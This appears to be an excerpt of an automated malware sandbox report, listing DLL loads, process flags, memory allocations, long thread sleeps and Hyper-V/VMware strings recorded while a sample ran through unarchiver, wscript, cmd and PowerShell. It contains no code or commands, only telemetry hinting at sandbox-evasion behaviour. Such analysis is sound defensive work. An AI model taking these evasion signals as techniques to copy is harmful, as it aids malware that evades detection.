Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe	Memory allocated: 1430000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Memory allocated: 3310000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Memory allocated: 5310000 memory commit \| memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe	Window / User API: threadDelayed 661	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Window / User API: threadDelayed 9337	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3301	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6526	Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe TID: 6788	Thread sleep count: 661 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe TID: 6788	Thread sleep time: -330500s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe TID: 6788	Thread sleep count: 9337 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe TID: 6788	Thread sleep time: -4668500s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1428	Thread sleep count: 3301 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2584	Thread sleep count: 6526 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6976	Thread sleep time: -23980767295822402s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6920	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: wscript.exe, 0000000B.00000002.2832972295.000000000583F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWxX
Source: wscript.exe, 0000000B.00000002.2832972295.0000000005875000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.2833107787.00000132FE02B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.2834598614.00000132FF653000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: cmd.exe, 00000009.00000003.2175375920.0000000003390000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}y
Source: wscript.exe, 0000000B.00000002.2832972295.000000000583F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: svchost.exe, 00000011.00000002.2833018847.00000132FE013000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWHp

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
